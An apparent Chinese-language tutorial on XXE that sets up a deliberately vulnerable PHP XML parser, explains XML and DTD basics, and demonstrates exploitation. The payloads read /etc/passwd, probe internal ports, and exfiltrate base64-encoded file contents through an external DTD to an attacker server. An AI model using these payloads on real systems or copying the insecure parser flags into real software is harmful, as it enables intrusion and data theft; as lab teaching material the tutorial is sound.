一、漏洞环境搭建

简单点可以直接下载phpstudy集成环境,愿意多熟悉Linux操作的可以自己在虚拟机搭建Apache环境或Nginx环境,这边就不赘述,本次采用的脚本语言是PHP。

首先是前端代码,利用Javascript提交所填写的xml数据到后端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title>XXE Vulnerability Example</title>
</head>
<body>
<h1>XXE Vulnerability Example</h1>
<textarea id="inputXML"></textarea><br><br>
<button onclick="sendXML()">Submit XML</button>
<script>
function sendXML() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "xxe.php");
xhr.setRequestHeader("Content-Type", "application/xml");
var xmlPayload = document.getElementById("inputXML").value;
xhr.send(xmlPayload);
}
</script>
</body>
</html>

其次是后端PHP代码,主要作用是接收前端提交的数据并解析,然后遍历并输出所有节点内容;

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 使用php输入流获取xml数据
$xml_data = file_get_contents('php://input');
// 使用 DOMDocument 类库解析 XML 数据
$doc = new DOMDocument();
// 使用 LIBXML_NOENT 和 LIBXML_DTDLOAD 标志启用实体引用
$doc->loadXML($xml_data, LIBXML_NOENT | LIBXML_DTDLOAD);
// 将DOM节点转化为SimpleXMLElement对象
$data = simplexml_import_dom($doc);
// 查看对象结构
var_dump($data);
?>

二、XML基础知识

1. XML的简介

​ XML(EXtensible Markup Language)指可扩展标记语言,而HTML(Hyper Text Markup Language)指超文本标记语言,二者的区别是:

  • XML 被设计用来传输存储数据;
  • HTML被设计用来显示数据;

个人理解XML是一种数据格式,类似于JSON都是用来进行传输和存储数据。

2. XML结构

XML 使用简单的具有自我描述性的语法:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<people>
<name>XiaoMing</name>
<age>18</age>
<sex>boy</sex>
</people>

image-20230603214210171

第一行是xml的声明并定义了xml版本和所使用的编码种类。

第二行是描述文档的根元素,其标签是该节点的待描述的概述,像是一个实例化的对象:

1
2
3
4
5
6
7
class People:
def __init__(name, age, sex):
self.name = name
self.age = age
self.sex = sex

people1 = People('XiaoMing', 18, 'boy')

最后根元素里面的tag都属于描述根的子元素,其中XML也可以这么描述:

1
2
3
4
5
6
7
8
9
10
11
12
<class>
<people>
<name>XiaoMing</name>
<age>18</age>
<sex>boy</sex>
</people>
<people>
<name>XiaoHong</name>
<age>18</age>
<sex>girl</sex>
</people>
</class>

image-20230603214239593

但不可以这么描述,因为XML只允许有一个根元素:

1
2
3
4
5
6
7
8
9
10
<people>
<name>XiaoMing</name>
<age>18</age>
<sex>boy</sex>
</people>
<people>
<name>XiaoHong</name>
<age>18</age>
<sex>girl</sex>
</people>

image-20230531231758977

3. 数据类型

0x01. PCDATA类型

PCDATA(Parsed Character Data)指的是被解析的字符数据,XML 解析器通常会解析 XML 文档中所有的文本,即我们上面距离的所有XML数据都属于PCDATA类型。但PCDATA类型的数据不允许有>&符号,否则会报错。例如下属xml结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Error
<people>
<name>XiaoMing</name>
<condition>age<18</condition>
<sex>boy</sex>
</people>

// Correct
<people>
<name>XiaoMing</name>
<condition>age&lt;18</condition>
<sex>boy</sex>
</people>

image-20230531231805650

image-20230603214321290

当xml数据中包含了很多非法字符时,一个一个转换很麻烦,于是便有了CDATA类型。

0x02. CDATA类型

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data),CDATA 部分中的所有内容都会被解析器忽略。该语法如下所示

1
<![CDATA[不会被解析的区域]]>

把上面的示例重写写下:

1
2
3
4
5
<people>
<name>XiaoMing</name>
<condition>age<![CDATA[ < ]]>18</condition>
<sex>boy</sex>
</people>

可以看到下图会正常将<符号显示

image-20230603214800694

3. 实体

0x01. 一般实体

在DTD中定义实体名,在XML文档中使用&实体名;来引用对应的实体。

1
2
3
4
5
6
7
8
9
10
11
// 实体定义,ANY表示接受任何元素
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

// 调用实体结构
<people>
<name>XiaoMing</name>
<age>18</age>
<sex>&file;</sex>
</people>

其中DTD的目的是定义XML文档的结构,它使用一系列合法的元素来定义文档结构。例如:

1
2
3
4
5
6
7
8
<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

其中上述代码中定义note为根元素,而根元素内又包含tofromheadingbody子元素,故XML结构要写出类似于这样

1
2
3
4
5
6
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Don't forget me this weekend!</message>
</note>

0x02.参数实体

使用% 实体名在DTD中定义,并且只能在DTD中使用%实体名;引用

1
2
3
4
<!DOCTYPE test [ 
<!ENTITY % remote SYSTEM "http://192.168.88.150/test.dtd">
%remote;
]>

三、漏洞利用

0x01.文件读取

image-20230603112035150

0x02.内网主机端口探测

将远程dtd文件改成如下所示,先测试本地端口的3306端口是否开放

这里使用了php://fileter协议,并通过base64对读取的内容进行编码,保证xml结构不被破坏

image-20230604224056523

另外运行命令python -m SimpleHTTPServer 8000开启一个简单的web服务作为回显,在向服务器发送精心构造的xml数据

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.88.150/test.dtd">
%remote;%int;%send;
]>

当端口存在时http服务会有回显

image-20230604224104259

当端口不存在时,http服务就没有回显

image-20230604224110278

故可借此特征写一个内网端口探测脚本

0x03.XXE无回显利用

下列test.dtd文件是外部资源

1
2
3
<!-- test.dtd -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.88.150:8000/?data=%file;'>">

通过以下payload来触发dtd文件中定义的操作,下列的执行逻辑是先引用remote实体,该实体解析dtd文件后,在引用dtd中的int实体,

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://remote_server/test.dtd">
%remote;%int;%send;
]>

image-20230604222343800

编码是为了不破坏原本的XML语法

实体的值中不能有 %, 所以将其转成html实体编码 &#37;

image-20230604222407309

image-20230604222413962

(还有很多利用场景以后碰到了再继续总结)

参考: